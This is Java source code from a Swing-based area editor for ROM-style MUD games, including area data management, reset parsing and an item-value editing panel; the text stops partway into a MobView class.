temp.setiValue(3, temp.getiValue(3) + diff); if (temp.getType() == MudConstants.ITEM_CONTAINER) { if (temp.getiValue(2) != 0) temp.setiValue(2, temp.getiValue(2) + diff); } } // revnum every mprog // mprog's vnum // vnums in text of mprog(how the hell...) for( MobileProgram temp : mobprogs) { temp.setVnum(temp.getVnum() + diff); // have to scan the text of the mobprogram, looking for vnums in this // model range, and changing them to new vnum. } // change shops(done by mobile change) getHeader().setVnumRange(lowVnum, highVnum); } public void deleteMprog(int vnum) { for( MobileProgram mprog : mobprogs) { if( mprog.getVnum() == vnum) { mobprogs.remove(mprog); } } for( Mobile mob : mobs) { mob.deleteTriggers(vnum); } } public void deleteObject(int vnum) { for( MudObject oTemp : objects) { if (oTemp.getVnum() == vnum) { // clear from vector objects.remove(oTemp); for( Mobile mTemp : mobs) { mTemp.takeFromMobile(oTemp); mTemp.unEquip(vnum); } for( MudObject inside : objects) { if( inside.isContainer()) { inside.removeObject(oTemp); inside.setiValue(2,-1); } } for( Room loc : rooms) { loc.removeObject(oTemp); } return; } } } public void deleteMobile(int vnum) { for( Mobile mob : mobs) { if( mob.getVnum() == vnum) { mobs.remove(mob); for( Room room : rooms) { room.removeMobile(mob); } break; } } } public void deleteRoom(int vnum) { MudExit exit; Room target = null; // clear from rooms. for (Room room : rooms) { if (room.getVnum() == vnum) { target = room; rooms.remove(room); break; } } if (target != null) { for (Room room2 : rooms) { for (int b = 0; b < MudExit.MAX_EXITS; b++) { exit = room2.getExit(b); if (exit != null && exit.getToVnum() == vnum) room2.deleteExit(b); } } } } public Vector<Room> getRooms() { return rooms; } public Vector<MudObject> getObjects() { return objects; } public Vector<Mobile> getMobs() { return mobs; } public int getLowLevel() { int low = 9999; for( Mobile mob : mobs) { if( mob.getLevel() < low ) { low = mob.getLevel(); } } return low; } public int getHighLevel() { int high = 0; for( Mobile mob : mobs) { if( mob.getLevel() > high) { high = mob.getLevel(); } } return high; } public void clear() { rooms.clear(); objects.clear(); mobs.clear(); resets.clear(); mobprogs.clear(); header.reset(); } public JList getResetList() { return new JList(resets.toArray(new MudReset[resets.size()])); } public JComboBox getVnumCombo(String type) { JComboBox temp; if (type.startsWith("room")) { temp = new JComboBox((Vector<Room>)rooms); } else if (type.startsWith("obj")) temp = new JComboBox((Vector<MudObject>)objects); else if (type.startsWith("mob")) temp = new JComboBox((Vector<Mobile>)mobs); else if (type.startsWith("reset")) temp = new JComboBox((Vector<MudReset>)resets); else if (type.startsWith("script")) temp = new JComboBox((Vector<MobileProgram>)mobprogs); else return null; temp.setPrototypeDisplayValue("01234567890123456789001234567890123456789"); return temp; } /* * This function takes the ROM style string resets * and parses them into better usable data. * This includes turning 'e' resets into equipment * flags on that mobiles vnum. * 11/28/2003, added code to filter bad vnums */ public void transformResets() { String command; Mobile mob = null; MudReset prevReset = null; try { for( MudReset reset : resets) { command = reset.getCommand().toUpperCase(); switch (command.charAt(0)) { case 'M': { // Add a mobile to a room int mobVnum = reset.getArg(1); mob = getMobile(mobVnum); int roomVnum = reset.getArg(3); Room room = getRoom(roomVnum); if (mob == null || room == null) { break; } room.addMobile(mob); break; } case 'O': { // Add an object to a room int objVnum = reset.getArg(1); MudObject object = getObject(objVnum); int roomVnum = reset.getArg(3); Room room = getRoom(roomVnum); if (object == null || room == null) { break; } room.addObject(object); break; } case 'E': { // Equip the last mobile reset, which must exist. int objVnum = reset.getArg(1); MudObject myObj = getObject(objVnum); int pos = reset.getArg(3); if (mob == null || myObj == null) { break; } System.out.println("Equipping mobile: " + mob + " with object: " + myObj); mob.equipMobile(pos, objVnum); break; } case 'G': { // Give an object to the last mobile reset, which must exist int objVnum = reset.getArg(1); MudObject myObj = getObject(objVnum); if (mob == null || myObj == null) { break; } // Only give the object to the mobile if they don't already have // one or the previous reset was the same thing (intentional duplication) // otherwise old style rom resets will put multiples in our new resets... if( mob.getInventory().contains(myObj) && prevReset.getCommand().toUpperCase().charAt(0) != 'G' && prevReset.getArg(1) != objVnum) { break; } mob.giveToMobile(myObj); break; } case 'D': { Room rTemp = getRoom(reset.getArg(1)); if (rTemp == null) { break; } int dir = reset.getArg(2); int lockType = reset.getArg(3); MudExit tempExit = rTemp.getExit(dir); if (tempExit == null) { break; } tempExit.setFlag(MudConstants.EXIT_ISDOOR); tempExit.setFlag(MudConstants.EXIT_CLOSED); if (lockType == 2) tempExit.setFlag(MudConstants.EXIT_LOCKED); Room rReverse; rReverse = getRoom(tempExit.getToVnum()); if (rReverse == null) break; int dir2 = MudExit.getReverseExit(dir); MudExit tempExit2 = rReverse.getExit(dir2); if (tempExit2 == null) break; tempExit2.setFlag(MudConstants.EXIT_ISDOOR); tempExit2.setFlag(MudConstants.EXIT_CLOSED); if (lockType == 2) tempExit2.setFlag(MudConstants.EXIT_LOCKED); break; } case 'P': { int oTemp = reset.getArg(1); int oTemp2 = reset.getArg(3); MudObject holder = getObject(oTemp2); MudObject placer = getObject(oTemp); if (holder == null || placer == null) break; holder.addObject(placer); break; } default: { System.out.println("Nothing to do with reset:"); System.out.println(reset.toString()); break; } } prevReset = reset; } } catch (Exception ext) { System.out.println("Exception transforming resets."); } resets.clear(); } public String getExitFromAreaCount() { int total = 0; for( Room room : rooms) { total += room.getExitFromAreaCount(); } return Integer.toString(total); } } <file_sep>/aeditor_stillrom/src/net/s5games/mafia/ui/ObjectTypePanel.java package net.s5games.mafia.ui; import net.s5games.mafia.ui.ObjectView; import net.s5games.mafia.model.*; import javax.swing.*; import javax.swing.border.TitledBorder; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.FocusEvent; import java.awt.event.FocusListener; public class ObjectTypePanel extends JPanel { private JComboBox typeBox; private JTextField v0, v1, v2, v3, v4; private TitledBorder b0, b1, b2, b3, b4; private JPanel p0, p1, p2, p3, p4; private final static int OFF = 0; private final static int ON0 = 1; private final static int ON1 = 2; private final static int ON2 = 4; private final static int ON3 = 8; private final static int ON4 = 16; private final static int ONALL = ON0 | ON1 | ON2 | ON3 | ON4; private Area data; private int vnum; DamTypeTable theDamTypes; WeaponTypeTable theWeaponTypes; LiquidTypeTable theLiquidTypes; SpellListTable theSpellList; ObjectView myParent; public ObjectTypePanel(Area d, DamTypeTable _theDamTypes, ObjectView par) { data = d; myParent = par; vnum = -1; theDamTypes = _theDamTypes; theWeaponTypes = new WeaponTypeTable(); theWeaponTypes.loadWeaponTypeTable("wtype.txt"); theLiquidTypes = new LiquidTypeTable(); theLiquidTypes.loadLiquidTypeTable("liquid.txt"); theSpellList = new SpellListTable(); theSpellList.loadSpellListTable("spell.txt"); typeBox = new JComboBox(MudConstants.typeNames); typeBox.setBorder(new TitledBorder("Item Type")); v0 = new JTextField(20); v1 = new JTextField(20); v2 = new JTextField(20); v3 = new JTextField(20); v4 = new JTextField(20); p0 = new JPanel(); p1 = new JPanel(); p2 = new JPanel(); p3 = new JPanel(); p4 = new JPanel(); p0.setLayout(new GridLayout(1, 1)); p1.setLayout(new GridLayout(1, 1)); p2.setLayout(new GridLayout(1, 1)); p3.setLayout(new GridLayout(1, 1)); p4.setLayout(new GridLayout(1, 1)); b0 = new TitledBorder("V0"); b1 = new TitledBorder("V1"); b2 = new TitledBorder("V2"); b3 = new TitledBorder("V3"); b4 = new TitledBorder("V4"); p0.setBorder(b0); p1.setBorder(b1); p2.setBorder(b2); p3.setBorder(b3); p4.setBorder(b4); p0.add(v0); p1.add(v1); p2.add(v2); p3.add(v3); p4.add(v4); setLayout(new BorderLayout()); // add(typeBox,BorderLayout.NORTH); JPanel vs = new JPanel(); vs.setLayout(new GridLayout(6, 1)); vs.add(typeBox); vs.add(p0); vs.add(p1); vs.add(p2); vs.add(p3); vs.add(p4); add(vs, BorderLayout.CENTER); update(); typeBox.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent evt) { if (vnum != -1) { MudObject me = data.getObject(vnum); me.setType(MudConstants.TypeLookup(typeBox.getSelectedIndex())); } myParent.update(); } }); v0.addFocusListener(new v0FocusListener(theWeaponTypes)); v1.addFocusListener(new v1FocusListener()); v2.addFocusListener(new v2FocusListener(data)); v3.addFocusListener(new v3FocusListener(theDamTypes, data)); v4.addFocusListener(new v4FocusListener()); } public void setEnabled(boolean value) { typeBox.setEnabled(value); v0.setEnabled(value); v1.setEnabled(value); v2.setEnabled(value); v3.setEnabled(value); v4.setEnabled(value); } public void update(int v) { vnum = v; if (vnum != -1) { MudObject temp = data.getObject(vnum); typeBox.setSelectedIndex(MudConstants.typePositionLookup(temp.getType())); } update(); } public void update() { int which = MudConstants.TypeLookup(typeBox.getSelectedIndex()); MudObject temp = null; if (vnum == -1) which = MudConstants.ITEM_TRASH; else temp = data.getObject(vnum); switch (which) { case MudConstants.ITEM_LIGHT: { turnOn(ON2); b2.setTitle("Hours"); if (temp == null) break; int h = temp.getiValue(2); if (h == 0) h = 1; v2.setText(Integer.toString(h)); break; } case MudConstants.ITEM_WAND: case MudConstants.ITEM_STAFF: { turnOn((ON0 | ON1 | ON2 | ON3)); b0.setTitle("Casting Level"); b1.setTitle("Charges Total"); b2.setTitle("Charges Left"); b3.setTitle("Spell"); if (temp == null) break; v0.setText(Integer.toString(temp.getiValue(0, 1))); v1.setText(Integer.toString(temp.getiValue(1, 1))); v2.setText(Integer.toString(temp.getiValue(2, 1))); // TODO: make sure v3 is valid spell. v3.setText(temp.getsValue(3)); break; } case MudConstants.ITEM_WEAPON: { turnOn(ONALL); b0.setTitle("Weapon Class"); b1.setTitle("Number Of Dice"); b2.setTitle("Type Of Dice"); b3.setTitle("Type"); b4.setTitle("Special Type"); if (temp == null) break; // TODO: make sure v0 is valid weapon class. String st = temp.getsValue(0); if (!theWeaponTypes.isWeaponType(st)) temp.setsValue(0, theWeaponTypes.getDefaultType()); v0.setText(temp.getsValue(0)); v1.setText(Integer.toString(temp.getiValue(1, 1))); v2.setText(Integer.toString(temp.getiValue(2, 1))); st = temp.getsValue(3); if (!theDamTypes.isDamType(st)) temp.setsValue(3, theDamTypes.getDefaultType()); v3.setText(temp.getsValue(3)); v4.setText(MudConstants.flagNameString(temp.getiValue(4))); break; } case MudConstants.ITEM_ARMOR: { turnOn(ON0 | ON1 | ON2 | ON3); b0.setTitle("AC Pierce"); b1.setTitle("AC Bash"); b2.setTitle("AC Slash"); b3.setTitle("AC Exotic"); if (temp == null) break; v0.setText(Integer.toString(temp.getiValue(0))); v1.setText(Integer.toString(temp.getiValue(1))); v2.setText(Integer.toString(temp.getiValue(2))); v3.setText(Integer.toString(temp.getiValue(3))); break; } case MudConstants.ITEM_FURNITURE: { turnOn(ONALL); b0.setTitle("Max People"); b1.setTitle("Channel"); b2.setTitle("Furniture Flags"); b3.setTitle("Heal Bonus"); b4.setTitle("Mana Bonus"); if (temp == null) break; v0.setText(Integer.toString(temp.getiValue(0, 1))); v1.setText(Integer.toString(temp.getiValue(1))); v2.setText(MudConstants.furnitureFlagName(temp.getiValue(2))); v3.setText(Integer.toString(temp.getiValue(3))); v4.setText(Integer.toString(temp.getiValue(4))); break; } case MudConstants.ITEM_CONTAINER: { turnOn(ON0 | ON1 | ON2 | ON4); b0.setTitle("Max # of items"); b1.setTitle("Flags"); b2.setTitle("Key"); b4.setTitle("Weight Multiplier"); if (temp == null) break; v0.setText(Integer.toString(temp.getiValue(0, 1))); v1.setText(MudConstants.containerFlagString(temp.getiValue(1))); if (temp.getiValue(2) != 0) { MudObject obj = data.getObject(temp.getiValue(2)); if (obj == null) { v2.setText("No key"); temp.setiValue(2, 0); } else v2.setText(obj.toString()); } else v2.setText("No Key"); v4.setText(Integer.toString(temp.getiValue(4, 1))); break; } case MudConstants.ITEM_FOUNTAIN: case MudConstants.ITEM_DRINK_CON: { turnOn(ON0 | ON1 | ON2 | ON3); b0.setTitle("Liquid Total"); b1.setTitle("Liquid Left"); b2.setTitle("Liquid"); b3.setTitle("Poisoned?"); if (temp == null) break; v0.setText(Integer.toString(temp.getiValue(0, 1))); v1.setText(Integer.toString(temp.getiValue(1, 1))); String st = temp.getsValue(2); if (!theLiquidTypes.isLiquidType(st)) temp.setsValue(2, theLiquidTypes.getDefaultLiquid()); v2.setText(temp.getsValue(2)); if (temp.getiValue(3) == 0) v3.setText("No"); else v3.setText("Yes"); break; } case MudConstants.ITEM_FOOD: { turnOn(ON0 | ON1 | ON3); b0.setTitle("Food Hours"); b1.setTitle("Full Hours"); b3.setTitle("Poisoned?"); if (temp == null) break; v0.setText(Integer.toString(temp.getiValue(0, 1))); v1.setText(Integer.toString(temp.getiValue(1, 1))); if (temp.getiValue(3) == 0) v3.setText("No"); else v3.setText("Yes"); break; } case MudConstants.ITEM_MONEY: { turnOn(ON0); b0.setTitle("Amount of Yen/Gold"); if (temp == null) break; v0.setText(Integer.toString(temp.getiValue(0, 1))); break; } case MudConstants.ITEM_SCROLL: case MudConstants.ITEM_POTION: case MudConstants.ITEM_PILL: { turnOn(ONALL); b0.setTitle("Cast Level"); b1.setTitle("Spell: "); b2.setTitle("Spell: "); b3.setTitle("Spell: "); b4.setTitle("Spell: "); if (temp == null) break; v0.setText(Integer.toString(temp.getiValue(0, 1))); // TODO: make sure are valid spells. String st = temp.getsValue(1); for (int spc = 1; spc < 5; spc++) { st = temp.getsValue(spc); if (!theSpellList.isSpell(st)) temp.setsValue(spc, ""); } v1.setText(temp.getsValue(1)); v2.setText(temp.getsValue(2)); v3.setText(temp.getsValue(3)); v4.setText(temp.getsValue(4)); break; } case MudConstants.ITEM_PORTAL: { turnOn(ON0 | ON1 | ON2 | ON3); b0.setTitle("Charges"); b1.setTitle("Exit Flags"); b2.setTitle("Portal Flags"); b3.setTitle("Goes to(vnum)"); if (temp == null) break; v0.setText(Integer.toString(temp.getiValue(0, 1))); v1.setText(MudConstants.exitFlagString(temp.getiValue(1))); v2.setText(MudConstants.portalFlagString(temp.getiValue(2))); v3.setText(Integer.toString(temp.getiValue(3))); break; } case MudConstants.ITEM_TREASURE: case MudConstants.ITEM_CLOTHING: case MudConstants.ITEM_TRASH: case MudConstants.ITEM_KEY: case MudConstants.ITEM_BOAT: case MudConstants.ITEM_MAP: case MudConstants.ITEM_WARP_STONE: case MudConstants.ITEM_ROOM_KEY: case MudConstants.ITEM_GEM: case MudConstants.ITEM_JEWELRY: case MudConstants.ITEM_JUKEBOX: case MudConstants.ITEM_ORE: { turnOn(OFF); break; } } // switch p0.setBorder(b0); p1.setBorder(b1); p2.setBorder(b2); p3.setBorder(b3); p4.setBorder(b4); validate(); repaint(); } // function public void turnOn(int which) { v0.setEnabled(false); v1.setEnabled(false); v2.setEnabled(false); v3.setEnabled(false); v4.setEnabled(false); b0.setTitle("V0"); b1.setTitle("V1"); b2.setTitle("V2"); b3.setTitle("V3"); b4.setTitle("V4"); v0.setText("unused"); v1.setText("unused"); v2.setText("unused"); v3.setText("unused"); v4.setText("unused"); if ((which & ON0) == ON0) { v0.setEnabled(true); v0.setText(""); } if ((which & ON1) == ON1) { v1.setEnabled(true); v1.setText(""); } if ((which & ON2) == ON2) { v2.setEnabled(true); v2.setText(""); } if ((which & ON3) == ON3) { v3.setEnabled(true); v3.setText(""); } if ((which & ON4) == ON4) { v4.setEnabled(true); v4.setText(""); } } class v0FocusListener implements FocusListener { protected WeaponTypeTable theWeaponTypes; public v0FocusListener(WeaponTypeTable wTable) { super(); theWeaponTypes = wTable; } public void focusGained(FocusEvent e) { int which = MudConstants.TypeLookup(typeBox.getSelectedIndex()); if (which == MudConstants.ITEM_WEAPON) { MudObject temp = (MudObject) data.getObject(vnum); JComboBox options = theWeaponTypes.getWeaponTypeComboBox(); options.setSelectedItem(temp.getsValue(0)); int dec = JOptionPane.showConfirmDialog(null, options, "Choose weapon type:", JOptionPane.OK_CANCEL_OPTION); if (dec == JOptionPane.CANCEL_OPTION) options.setSelectedItem(temp.getsValue(0)); temp.setsValue(0, (String) options.getSelectedItem()); vnum = temp.vnum; update(); } } public void focusLost(FocusEvent e) { int type = MudConstants.TypeLookup(typeBox.getSelectedIndex()); JTextField field = (JTextField) e.getSource(); try { if (vnum == -1) return; MudObject temp = data.getObject(vnum); switch (type) { case MudConstants.ITEM_WAND: // all int types case MudConstants.ITEM_STAFF: case MudConstants.ITEM_ARMOR: case MudConstants.ITEM_FURNITURE: case MudConstants.ITEM_FOUNTAIN: case MudConstants.ITEM_DRINK_CON: case MudConstants.ITEM_FOOD: case MudConstants.ITEM_MONEY: case MudConstants.ITEM_SCROLL: case MudConstants.ITEM_POTION: case MudConstants.ITEM_PILL: case MudConstants.ITEM_PORTAL: case MudConstants.ITEM_CONTAINER: { temp.setiValue(0, Integer.parseInt(field.getText())); break; } default: break; } } catch (Exception exp) { System.out.println("Error setting value 0."); } finally { update(); } } } class v1FocusListener implements FocusListener { public void focusGained(FocusEvent e) { int which = MudConstants.TypeLookup(typeBox.getSelectedIndex()); if (which == MudConstants.ITEM_CONTAINER) { MudObject temp = (MudObject) data.getObject(vnum); FlagChoice choice = new FlagChoice("container flags", MudConstants.containerFlagNames, MudConstants.containerFlags, MudConstants.NUM_CONTAINER_FLAGS, null); choice.setFlags(temp.getiValue(1)); int dec = JOptionPane.showConfirmDialog(null, choice, "Set container flags:", JOptionPane.OK_CANCEL_OPTION); if (dec == JOptionPane.CANCEL_OPTION) choice.setFlags(temp.getiValue(1)); temp.setiValue(1, choice.getFlags()); vnum = temp.vnum; update(); } else if (which == MudConstants.ITEM_SCROLL || which == MudConstants.ITEM_POTION || which == MudConstants.ITEM_PILL) { MudObject temp = (MudObject) data.getObject(vnum); JComboBox options = theSpellList.getSpellListComboBox(); options.setSelectedItem(temp.getsValue(1)); int dec = JOptionPane.showConfirmDialog(null, options, "Choose spell:", JOptionPane.OK_CANCEL_OPTION); if (dec == JOptionPane.CANCEL_OPTION) options.setSelectedItem(temp.getsValue(1)); if (options.getSelectedIndex() != 0) temp.setsValue(1, (String) options.getSelectedItem()); else temp.setsValue(1, ""); vnum = temp.vnum; update(); } else if (which == MudConstants.ITEM_PORTAL) { MudObject temp = (MudObject) data.getObject(vnum); FlagChoice choice = new FlagChoice("exit flags", MudConstants.exitNames, MudConstants.exitFlags, MudConstants.NUM_EXIT_FLAGS, null); choice.setFlags(temp.getiValue(1)); int dec = JOptionPane.showConfirmDialog(null, choice, "Set exit flags:", JOptionPane.OK_CANCEL_OPTION); if (dec == JOptionPane.CANCEL_OPTION) choice.setFlags(temp.getiValue(1)); temp.setiValue(1, choice.getFlags()); vnum = temp.vnum; update(); } } public void focusLost(FocusEvent e) { int type = MudConstants.TypeLookup(typeBox.getSelectedIndex()); JTextField field = (JTextField) e.getSource(); try { if (vnum == -1) return; MudObject temp = data.getObject(vnum); switch (type) { case MudConstants.ITEM_WAND: // all int types case MudConstants.ITEM_STAFF: case MudConstants.ITEM_WEAPON: case MudConstants.ITEM_ARMOR: case MudConstants.ITEM_FURNITURE: case MudConstants.ITEM_FOUNTAIN: case MudConstants.ITEM_DRINK_CON: case MudConstants.ITEM_FOOD: { temp.setiValue(1, Integer.parseInt(field.getText())); break; } case MudConstants.ITEM_SCROLL: case MudConstants.ITEM_POTION: case MudConstants.ITEM_PILL: // all string types { temp.setsValue(1, field.getText()); break; } default: break; } System.out.println("Set the value.."); } catch (Exception exp) { System.out.println("Error setting value 1."); } finally { update(); } } } class v2FocusListener implements FocusListener { Area data; public v2FocusListener(Area d) { data = d; } public void focusGained(FocusEvent e) { int which = MudConstants.TypeLookup(typeBox.getSelectedIndex()); if (which == MudConstants.ITEM_CONTAINER) { MudObject temp = (MudObject) data.getObject(vnum); JComboBox options = data.getVnumCombo("object"); MudObject t2 = (MudObject) data.getObject(temp.getiValue(2)); if (t2 != null) options.setSelectedItem(t2); int dec = JOptionPane.showConfirmDialog(null, options, "Choose container key:", JOptionPane.OK_CANCEL_OPTION); if (dec == JOptionPane.CANCEL_OPTION) options.setSelectedItem(t2); t2 = (MudObject) options.getSelectedItem(); if (t2 == null) temp.setiValue(2, 0); else temp.setiValue(2, t2.getVnum()); vnum = temp.vnum; update(); } else if (which == MudConstants.ITEM_SCROLL || which == MudConstants.ITEM_POTION || which == MudConstants.ITEM_PILL) { MudObject temp = (MudObject) data.getObject(vnum); JComboBox options = theSpellList.getSpellListComboBox(); options.setSelectedItem(temp.getsValue(2)); int dec = JOptionPane.showConfirmDialog(null, options, "Choose spell:", JOptionPane.OK_CANCEL_OPTION); if (dec == JOptionPane.CANCEL_OPTION) options.setSelectedItem(temp.getsValue(2)); if (options.getSelectedIndex() != 0) temp.setsValue(2, (String) options.getSelectedItem()); else temp.setsValue(2, ""); vnum = temp.vnum; update(); } else if (which == MudConstants.ITEM_FURNITURE) { MudObject temp = (MudObject) data.getObject(vnum); FlagChoice choice = new FlagChoice("furniture flags", MudConstants.furnitureFlagNames, MudConstants.furnitureFlags, MudConstants.NUM_FURNITURE_FLAGS, null); choice.setFlags(temp.getiValue(2)); int dec = JOptionPane.showConfirmDialog(null, choice, "Set furniture flags:", JOptionPane.OK_CANCEL_OPTION); if (dec == JOptionPane.CANCEL_OPTION) choice.setFlags(temp.getiValue(2)); temp.setiValue(2, choice.getFlags()); vnum = temp.vnum; update(); } else if (which == MudConstants.ITEM_PORTAL) { MudObject temp = (MudObject) data.getObject(vnum); FlagChoice choice = new FlagChoice("portal flags", MudConstants.portalFlagNames, MudConstants.portalFlags, MudConstants.NUM_PORTAL_FLAGS, null); choice.setFlags(temp.getiValue(2)); int dec = JOptionPane.showConfirmDialog(null, choice, "Set portal flags:", JOptionPane.OK_CANCEL_OPTION); if (dec == JOptionPane.CANCEL_OPTION) choice.setFlags(temp.getiValue(2)); temp.setiValue(2, choice.getFlags()); vnum = temp.vnum; update(); } else if (which == MudConstants.ITEM_DRINK_CON || which == MudConstants.ITEM_FOUNTAIN) { MudObject temp = (MudObject) data.getObject(vnum); JComboBox options = theLiquidTypes.getLiquidTypeComboBox(); options.setSelectedItem(temp.getsValue(2)); int dec = JOptionPane.showConfirmDialog(null, options, "Choose liquid:", JOptionPane.OK_CANCEL_OPTION); if (dec == JOptionPane.CANCEL_OPTION) options.setSelectedItem(temp.getsValue(2)); temp.setsValue(2, (String) options.getSelectedItem()); vnum = temp.vnum; update(); } } public void focusLost(FocusEvent e) { int type = MudConstants.TypeLookup(typeBox.getSelectedIndex()); JTextField field = (JTextField) e.getSource(); try { if (vnum == -1) return; MudObject temp = data.getObject(vnum); switch (type) { case MudConstants.ITEM_LIGHT: case MudConstants.ITEM_WAND: // all int types case MudConstants.ITEM_STAFF: case MudConstants.ITEM_WEAPON: case MudConstants.ITEM_ARMOR: { temp.setiValue(2, Integer.parseInt(field.getText())); break; } case MudConstants.ITEM_SCROLL: case MudConstants.ITEM_POTION: case MudConstants.ITEM_PILL: // all string types { temp.setsValue(2, field.getText()); break; } default: break; } System.out.println("Set the value.."); } catch (Exception exp) { System.out.println("Error setting value 2."); } finally { update(); } } } class v3FocusListener implements FocusListener { protected DamTypeTable theDamTypes; protected Area data; public v3FocusListener(DamTypeTable dTable, Area a) { super(); theDamTypes = dTable; data = a; } public void focusGained(FocusEvent e) { int which = MudConstants.TypeLookup(typeBox.getSelectedIndex()); if (which == MudConstants.ITEM_WEAPON) { MudObject temp = (MudObject) data.getObject(vnum); JComboBox options = theDamTypes.getDamTypeComboBox(); options.setSelectedItem(temp.getsValue(3)); int dec = JOptionPane.showConfirmDialog(null, options, "Choose damage type:", JOptionPane.OK_CANCEL_OPTION); if (dec == JOptionPane.CANCEL_OPTION) options.setSelectedItem(temp.getsValue(3)); temp.setsValue(3, (String) options.getSelectedItem()); vnum = temp.vnum; update(); } else if (which == MudConstants.ITEM_SCROLL || which == MudConstants.ITEM_POTION || which == MudConstants.ITEM_PILL || which == MudConstants.ITEM_WAND || which == MudConstants.ITEM_STAFF) { MudObject temp = (MudObject) data.getObject(vnum); JComboBox options = theSpellList.getSpellListComboBox(); options.setSelectedItem(temp.getsValue(3)); int dec = JOptionPane.showConfirmDialog(null, options, "Choose spell:", JOptionPane.OK_CANCEL_OPTION); if (dec == JOptionPane.CANCEL_OPTION) options.setSelectedItem(temp.getsValue(3)); if (options.getSelectedIndex() != 0) temp.setsValue(3, (String) options.getSelectedItem()); else temp.setsValue(3, ""); vnum = temp.vnum; update(); } else if (which == MudConstants.ITEM_FOOD || which == MudConstants.ITEM_DRINK_CON || which == MudConstants.ITEM_FOUNTAIN) { MudObject temp = (MudObject) data.getObject(vnum); String[] yesno = {"No", "Yes"}; JComboBox options = new JComboBox(yesno); options.setSelectedIndex(temp.getiValue(3)); int dec = JOptionPane.showConfirmDialog(null, options, "Is this liquid poisoned?", JOptionPane.OK_CANCEL_OPTION); if (dec == JOptionPane.CANCEL_OPTION) options.setSelectedIndex(temp.getiValue(3)); temp.setiValue(3, options.getSelectedIndex()); vnum = temp.vnum; update(); } else if (which == MudConstants.ITEM_PORTAL) { MudObject temp = (MudObject) data.getObject(vnum); JComboBox options = data.getVnumCombo("rooms"); Room t2 = (Room) data.getRoom(temp.getiValue(3)); if (t2 == null) options.setSelectedIndex(0); else options.setSelectedItem(t2); int dec = JOptionPane.showConfirmDialog(null, options, "Choose room portal leads to:", JOptionPane.OK_CANCEL_OPTION); if (dec == JOptionPane.CANCEL_OPTION) options.setSelectedItem(t2); t2 = (Room) options.getSelectedItem(); if (t2 != null) temp.setiValue(3, t2.getVnum()); else temp.setiValue(3, 0); vnum = temp.vnum; update(); } } public void focusLost(FocusEvent e) { int type = MudConstants.TypeLookup(typeBox.getSelectedIndex()); JTextField field = (JTextField) e.getSource(); try { if (vnum == -1) return; MudObject temp = data.getObject(vnum); switch (type) { case MudConstants.ITEM_FURNITURE: case MudConstants.ITEM_ARMOR: { temp.setiValue(3, Integer.parseInt(field.getText())); break; } case MudConstants.ITEM_STAFF: case MudConstants.ITEM_WAND: case MudConstants.ITEM_SCROLL: case MudConstants.ITEM_POTION: case MudConstants.ITEM_PILL: // all string types { temp.setsValue(3, field.getText()); break; } default: break; } System.out.println("Set the value.."); } catch (Exception exp) { System.out.println("Error setting value 3."); } finally { update(); } } } class v4FocusListener implements FocusListener { public void focusGained(FocusEvent e) { int which = MudConstants.TypeLookup(typeBox.getSelectedIndex()); if (which == MudConstants.ITEM_WEAPON) { MudObject temp = (MudObject) data.getObject(vnum); FlagChoice choice = new FlagChoice("weapon flags", MudConstants.weaponFlagNames, MudConstants.weaponFlags, MudConstants.NUM_WEAPON_FLAGS, null); choice.setFlags(temp.getiValue(4)); int dec = JOptionPane.showConfirmDialog(null, choice, "Set weapon flags:", JOptionPane.OK_CANCEL_OPTION); if (dec == JOptionPane.CANCEL_OPTION) choice.setFlags(temp.getiValue(4)); temp.setiValue(4, choice.getFlags()); vnum = temp.vnum; update(); } else if (which == MudConstants.ITEM_SCROLL || which == MudConstants.ITEM_POTION || which == MudConstants.ITEM_PILL) { MudObject temp = (MudObject) data.getObject(vnum); JComboBox options = theSpellList.getSpellListComboBox(); options.setSelectedItem(temp.getsValue(4)); int dec = JOptionPane.showConfirmDialog(null, options, "Choose spell:", JOptionPane.OK_CANCEL_OPTION); if (dec == JOptionPane.CANCEL_OPTION) options.setSelectedItem(temp.getsValue(4)); if (options.getSelectedIndex() != 0) temp.setsValue(4, (String) options.getSelectedItem()); else temp.setsValue(4, ""); vnum = temp.vnum; update(); } } public void focusLost(FocusEvent e) { int type = MudConstants.TypeLookup(typeBox.getSelectedIndex()); JTextField field = (JTextField) e.getSource(); try { if (vnum == -1) return; MudObject temp = data.getObject(vnum); switch (type) { case MudConstants.ITEM_FURNITURE: case MudConstants.ITEM_CONTAINER: { temp.setiValue(4, Integer.parseInt(field.getText())); break; } case MudConstants.ITEM_SCROLL: case MudConstants.ITEM_POTION: case MudConstants.ITEM_PILL: // all string types { temp.setsValue(4, field.getText()); break; } default: break; } System.out.println("Set the value.."); } catch (Exception exp) { System.out.println("Error setting value 4."); } finally { update(); } } } } /* switch( which ) { case MudConstants.ITEM_LIGHT : { break; } case MudConstants.ITEM_SCROLL : { break; } case MudConstants.ITEM_WAND : { break; } case MudConstants.ITEM_STAFF : { break; } case MudConstants.ITEM_WEAPON : { break; } case MudConstants.ITEM_TREASURE : { break; } case MudConstants.ITEM_ARMOR : { break; } case MudConstants.ITEM_POTION : { break; } case MudConstants.ITEM_CLOTHING : { break; } case MudConstants.ITEM_FURNITURE : { break; } case MudConstants.ITEM_TRASH : { break; } case MudConstants.ITEM_CONTAINER : { break; } case MudConstants.ITEM_DRINK_CON : { break; } case MudConstants.ITEM_KEY : { break; } case MudConstants.ITEM_FOOD : { break; } case MudConstants.ITEM_MONEY : { break; } case MudConstants.ITEM_BOAT : { break; } case MudConstants.ITEM_FOUNTAIN : { break; } case MudConstants.ITEM_PILL : { break; } case MudConstants.ITEM_MAP : { break; } case MudConstants.ITEM_PORTAL : { break; } case MudConstants.ITEM_WARP_STONE : { break; } case MudConstants.ITEM_ROOM_KEY : { break; } case MudConstants.ITEM_GEM : { break; } case MudConstants.ITEM_JEWELRY : { break; } case MudConstants.ITEM_JUKEBOX : { break; } case MudConstants.ITEM_ORE : { break; } } */<file_sep>/src/net/s5games/mafia/ui/view/mobView/MobView.java // <NAME> // MobView.java // Area Editor Project, Spring 2002 package net.s5games.mafia.ui.view.mobView; import net.s5games.mafia.beans.Armor; import net.s5games.mafia.beans.Dice; import net.s5games.mafia.model.*; import net.s5games.mafia.ui.*; import net.miginfocom.swing.MigLayout; import javax.swing.*; import javax.swing.border.EtchedBorder; import javax.swing.border.TitledBorder; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.FocusEvent; import java.awt.event.FocusListener; import java.net.URL; /** * The mob view collects together all of the fields and handles the form actions.sss */ public class MobView extends 